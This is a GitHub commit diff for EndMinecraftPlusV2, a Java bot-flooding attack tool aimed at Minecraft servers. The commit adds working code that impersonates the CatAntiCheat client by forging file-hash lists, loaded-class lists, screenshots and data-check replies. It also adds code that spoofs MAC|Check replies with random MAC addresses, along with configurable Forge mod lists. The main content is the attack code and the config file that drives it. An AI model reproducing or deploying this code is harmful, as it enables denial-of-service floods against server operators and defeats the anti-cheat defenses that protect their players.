添加猫反特征设置 MAC|Check绕过 Forge支持可配置化

This commit is contained in:
SerendipityR 2022-10-03 23:45:18 +08:00 committed by GitHub
parent 89924f936a
commit 1f461168b1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
9 changed files with 343 additions and 16 deletions

View File

@ -8,8 +8,8 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
public class EndMinecraftPlusV2 {
public static String ver = "1.3.0";
public static Integer CfgVer = 3;
public static String ver = "1.4.0";
public static Integer CfgVer = 4;
public static void main(String[] args) {
System.out.println("========================-Forked by SerendipityR-========================");

View File

@ -2,6 +2,7 @@ package cn.serendipityr.EndMinecraftPlusV2.Tools;
import cc.summermc.bukkitYaml.file.YamlConfiguration;
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
import javax.naming.directory.Attribute;
import javax.naming.directory.InitialDirContext;
import java.io.BufferedInputStream;
@ -9,9 +10,7 @@ import java.io.File;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.nio.file.Files;
import java.util.Hashtable;
import java.util.List;
import java.util.Scanner;
import java.util.*;
public class ConfigUtil {
public static File configFile;
@ -49,6 +48,13 @@ public class ConfigUtil {
public static File ProxyFile;
public static List<String> ProxyAPIs;
public static Boolean SaveWorkingProxy;
public static Boolean ForgeSupport;
public static HashMap<String, String> ForgeModList;
public static Boolean CatAntiCheat;
public static File CACCustomScreenShot;
public static List<String> CACLoadedClass;
public static File CACLoadedMods;
public static Boolean RandomMAC;
public void loadConfig() {
try {
@ -95,6 +101,44 @@ public class ConfigUtil {
ProxyFile = new File(config.getString("Proxy.File"));
ProxyAPIs = config.getStringList("Proxy.APIs");
SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy");
ForgeSupport = config.getBoolean("AdvancedSettings.ForgeSupport");
if (ForgeSupport) {
ForgeModList = new HashMap<>();
for (String modInfo:config.getStringList("AdvancedSettings.ModList")) {
String modName = modInfo.split(":")[0];
String modVersion = modInfo.split(":")[1];
ForgeModList.put(modName, modVersion);
}
}
CatAntiCheat = config.getBoolean("AdvancedSettings.CatAntiCheat.Enable");
if (CatAntiCheat) {
CACCustomScreenShot = new File(config.getString("AdvancedSettings.CatAntiCheat.CustomScreenShot"));
CACLoadedClass = config.getStringList("AdvancedSettings.CatAntiCheat.LoadedClass");
CACLoadedMods = new File(config.getString("AdvancedSettings.CatAntiCheat.LoadedMods"));
if (!CACCustomScreenShot.exists()) {
LogUtil.doLog(1, "CustomScreenShot不存在CatAntiCheat相关功能已关闭。", null);
CatAntiCheat = false;
}
if (CACLoadedClass.isEmpty()) {
LogUtil.doLog(1, "LoadedClass为空CatAntiCheat相关功能已关闭。", null);
CatAntiCheat = false;
}
if (Objects.requireNonNull(CACLoadedMods.listFiles()).length <= 5) {
LogUtil.doLog(1, "LoadedMods数量不足(<=5)CatAntiCheat相关功能已关闭。", null);
CatAntiCheat = false;
}
ForgeModList.put("catanticheat", "1.2.6");
}
RandomMAC = config.getBoolean("MACChecker.RandomMAC");
checkSRV();
@ -105,8 +149,10 @@ public class ConfigUtil {
LogUtil.doLog(0, "攻击时间: " + AttackTime + "", "CFGUtil");
LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "", "CFGUtil");
LogUtil.doLog(0, "最大连接数: " + MaxConnections + "", "CFGUtil");
LogUtil.doLog(0, "Forge支持: " + booleanToStr(ForgeSupport), "CFGUtil");
LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil");
LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil");
LogUtil.doLog(0, "CatAntiCheat绕过: " + booleanToStr(CatAntiCheat), "CFGUtil");
LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil");
LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "", "CFGUtil");
LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "", "CFGUtil");

View File

@ -25,7 +25,7 @@ public class AttackManager {
Map<String, String> modList = new HashMap<>();
if (ProtocolLibs.highVersion) {
LogUtil.doLog(0, "当前选定协议库版本不支持获取Forge Mods。", "BotAttack");
LogUtil.doLog(0, "当前选定协议库版本不支持自动获取Forge Mods。", "BotAttack");
if (ProtocolLibs.adaptAfter754) {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewBotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
@ -65,7 +65,7 @@ public class AttackManager {
isDoubleAttack = true;
if (ProtocolLibs.highVersion) {
LogUtil.doLog(0, "当前选定协议库版本不支持获取Forge Mods。", "DoubleAttack");
LogUtil.doLog(0, "当前选定协议库版本不支持自动获取Forge Mods。", "DoubleAttack");
if (ProtocolLibs.adaptAfter754) {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);

View File

@ -268,7 +268,10 @@ public class BotAttack extends IAttack {
client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
}
new MCForge(client.getSession(), this.modList).init();
if (ConfigUtil.ForgeSupport) {
modList.putAll(ConfigUtil.ForgeModList);
new MCForge(client.getSession(), this.modList).init();
}
client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {

View File

@ -308,7 +308,10 @@ public class NewBotAttack extends IAttack {
ProxyInfo proxyInfo = new ProxyInfo(proxyType, new InetSocketAddress(proxyAddress[0], Integer.parseInt(proxyAddress[1])));
client = VersionSupport754.getSession(ip, port, username, proxyInfo);
new MCForge(client, this.modList).init();
if (ConfigUtil.ForgeSupport) {
modList.putAll(ConfigUtil.ForgeModList);
new MCForge(client, this.modList).init();
}
client.addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {

View File

@ -4,6 +4,7 @@ import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat.CatAntiCheat;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
import io.netty.util.internal.ConcurrentSet;
import org.spacehq.mc.protocol.MinecraftProtocol;
@ -20,9 +21,12 @@ import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPo
import org.spacehq.packetlib.Client;
import org.spacehq.packetlib.Session;
import org.spacehq.packetlib.event.session.*;
import org.spacehq.packetlib.io.stream.StreamNetOutput;
import org.spacehq.packetlib.packet.Packet;
import org.spacehq.packetlib.tcp.TcpSessionFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
@ -244,12 +248,19 @@ public class BotAttack extends IAttack {
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
new MCForge(client.getSession(), this.modList).init();
if (ConfigUtil.ForgeSupport) {
modList.putAll(ConfigUtil.ForgeModList);
new MCForge(client.getSession(), modList).init();
}
client.getSession().addListener(new SessionListener() {
public void packetReceived(PacketReceivedEvent e) {
new Thread(() -> {
handlePacket(e.getSession(), e.getPacket(), username);
try {
handlePacket(e.getSession(), e.getPacket(), username);
} catch (IOException ex) {
throw new RuntimeException(ex);
}
}).start();
if (ConfigUtil.SaveWorkingProxy) {
@ -346,7 +357,7 @@ public class BotAttack extends IAttack {
} catch (Exception ignored) {}
}
protected void handlePacket(Session session, Packet recvPacket, String username) {
protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException {
if (recvPacket instanceof ServerPluginMessagePacket) {
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
switch (packet.getChannel()) {
@ -365,6 +376,34 @@ public class BotAttack extends IAttack {
if (new String(packet.getData()).equals("GET:Verification"))
session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
break;
case "MAC|Check":
if (ConfigUtil.RandomMAC && packet.getData()[0] == 1) {
byte[] MACAddress;
ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf);
for (int i = 0; i < 6 ; i++) {
byte[] bytes = new byte[1];
new Random().nextBytes(bytes);
try {
out.writeByte(bytes[0]);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
MACAddress = buf.toByteArray();
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
session.send(new ClientPluginMessagePacket(packet.getChannel(), MACAddress));
}
break;
case "CatAntiCheat":
case "catanticheat:data":
if (ConfigUtil.CatAntiCheat) {
CatAntiCheat.packetHandle(session, packet.getChannel(), packet.getData(), username);
}
break;
default:
}
} else if (recvPacket instanceof ServerJoinGamePacket) {
@ -394,8 +433,8 @@ public class BotAttack extends IAttack {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
clickVerifiesHandle(chatPacket.getMessage(), session, username);
} else if (recvPacket instanceof ServerKeepAlivePacket) {
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
session.send(keepAlivePacket);
// ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
// session.send(keepAlivePacket);
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}

View File

@ -6,6 +6,7 @@ import org.spacehq.packetlib.Client;
import org.spacehq.packetlib.Session;
import org.spacehq.packetlib.packet.Packet;
import java.io.IOException;
import java.net.Proxy;
public class DoubleAttack extends BotAttack {
@ -26,7 +27,7 @@ public class DoubleAttack extends BotAttack {
return super.createClient(ip, port, this.username, proxy);
}
protected void handlePacket(Session session, Packet recvPacket, String username) {
protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException {
super.handlePacket(session, recvPacket, username);
if (recvPacket instanceof ServerJoinGamePacket) {
session.disconnect("Double Exploit - Connection Reset!");

View File

@ -0,0 +1,215 @@
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat;
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
import org.spacehq.packetlib.Session;
import org.spacehq.packetlib.io.stream.StreamNetOutput;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.*;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.*;
import java.util.zip.GZIPOutputStream;
public class CatAntiCheat {
public static HashMap<Session, Byte> saltMap = new HashMap<>();
public static void packetHandle(Session session, String channel, byte[] data, String username) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf);
byte receivedPacketID = data[0];
byte sendPacketID;
byte clientVersion;
switch (receivedPacketID) {
case 0:
// Hello packet reply
byte salt = data[1];
saltMap.put(session, salt);
sendPacketID = 4;
clientVersion = 2;
out.writeBytes(new byte[]{sendPacketID, 0, clientVersion, salt});
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
break;
case 1:
// File Check packet reply
sendPacketID = 5;
File loadedFiles = ConfigUtil.CACLoadedMods;
List<String> fileHashList = getFileHashList(loadedFiles);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try {
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outputStream);
gzipOutputStream.write(saltMap.get(session));
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(gzipOutputStream, StandardCharsets.UTF_8));
for (int i = 0; i < fileHashList.size(); i++) {
if (i > 0) writer.newLine();
writer.write(fileHashList.get(i));
}
writer.flush();
writer.close();
} catch (IOException e) {
throw new RuntimeException(e);
}
byte[] gzipData = outputStream.toByteArray();
out.writeByte(sendPacketID);
out.writeShort(gzipData.length);
out.writeBytes(gzipData);
out.writeInt(Arrays.hashCode(gzipData));
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送FileCheck数据。", "CatAntiCheat");
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
break;
case 2:
// Class Check packet reply
sendPacketID = 6;
List<String> foundClassList = ConfigUtil.CACLoadedClass;
out.writeByte(sendPacketID);
out.writeShort(foundClassList.size());
for (String s:foundClassList) {
writeUTF8String(out, s);
}
out.writeByte(saltMap.get(session));
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送ClassCheck数据。", "CatAntiCheat");
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
// break;
case 3:
// Screenshot packet reply
sendPacketID = 8;
File imageFile = ConfigUtil.CACCustomScreenShot;
byte[] imageData = getImageData(imageFile);
out.writeByte(sendPacketID);
ByteArrayInputStream in = new ByteArrayInputStream(imageData);
try {
byte[] networkData = new byte[32763];
int size;
while ((size = in.read(networkData)) >= 0) {
ByteArrayOutputStream incomingData = new ByteArrayOutputStream();
StreamNetOutput streamNetOutput = new StreamNetOutput(incomingData);
streamNetOutput.writeByte(sendPacketID);
streamNetOutput.writeBoolean(in.available() == 0);
if (networkData.length == size) {
streamNetOutput.writeBytes(networkData);
} else {
streamNetOutput.writeBytes(Arrays.copyOf(networkData, size));
}
session.send(new ClientPluginMessagePacket("CatAntiCheat", incomingData.toByteArray()));
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(incomingData.toByteArray()), "CatAntiCheat");
}
LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送ImageData数据。", "CatAntiCheat");
} catch (IOException e) {
LogUtil.doLog(1, "[PacketHandler] [" + username + "] 发送ImageData数据时发生错误。", "CatAntiCheat");
}
break;
case 9:
// Data Check packet reply
sendPacketID = 10;
boolean isLighting = false;
boolean isTransparentTexture = false;
out.writeByte(sendPacketID);
out.writeBoolean(isLighting);
out.writeBoolean(isTransparentTexture);
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
LogUtil.doLog(0, "[PacketHandler] [" + username + "] 已发送VanillaCheck数据。", "CatAntiCheat");
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
break;
}
}
public static List<String> getFileHashList(File filesDir) {
List<String> fileHashList = new ArrayList<>();
for (File file: Objects.requireNonNull(filesDir.listFiles())) {
fileHashList.add(getFileHash(file));
}
return fileHashList;
}
private static String getFileHash(File file) {
try {
try (InputStream in = Files.newInputStream(file.toPath())) {
return calcHash(in) + "\0" + file.getName();
}
} catch (IOException ignored) { }
return null;
}
private static String calcHash(InputStream in) throws IOException {
try {
MessageDigest md = MessageDigest.getInstance("SHA1");
final byte[] buffer = new byte[4096];
int read = in.read(buffer, 0, 4096);
while (read > -1) {
md.update(buffer, 0, read);
read = in.read(buffer, 0, 4096);
}
byte[] digest = md.digest();
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)).toUpperCase();
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
}
public static void writeUTF8String(StreamNetOutput to, String string) throws IOException {
byte[] utf8Bytes = string.getBytes(StandardCharsets.UTF_8);
writeVarInt(to, utf8Bytes.length);
to.writeBytes(utf8Bytes);
}
public static void writeVarInt(StreamNetOutput to, int toWrite) throws IOException {
while((toWrite & -128) != 0) {
to.writeByte(toWrite & 127 | 128);
toWrite >>>= 7;
}
to.writeByte(toWrite);
}
public static byte[] getImageData(File imageFile) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out);
BufferedImage bufferedImage = ImageIO.read(imageFile);
ImageIO.write(bufferedImage, "png", gzipOutputStream);
gzipOutputStream.flush();
gzipOutputStream.close();
} catch (Exception ignored) {}
return out.toByteArray();
}
}

View File

@ -3,7 +3,7 @@
# Forked by SerendipityR #
##############################
CfgVer: 3
CfgVer: 4
AttackSettings:
Address: "example.com"
@ -26,6 +26,26 @@ AttackSettings:
DoubleExploitPlayer: "ImOldSix_666"
ShowFails: false
AdvancedSettings:
# 启用Forge支持
ForgeSupport: true
ModList:
- "exampleMod:1.0.0"
# 猫反作弊欺骗
CatAntiCheat:
Enable: false
CustomScreenShot: "test.png"
# 类加载列表,请注意版本特征
# 1.7.10 - net.minecraft.launchwrapper.ITweaker
# 1.12.2 - net.minecraft.launchwrapper.LaunchClassLoader
LoadedClass:
- "net.minecraft.launchwrapper.LaunchClassLoader"
# 需在mods文件夹中放入5个以上原始客户端模组
LoadedMods: "mods"
# MAC|Check欺骗
MACChecker:
RandomMAC: true
BotSettings:
# 可用占位符:
# $rnd - 随机字符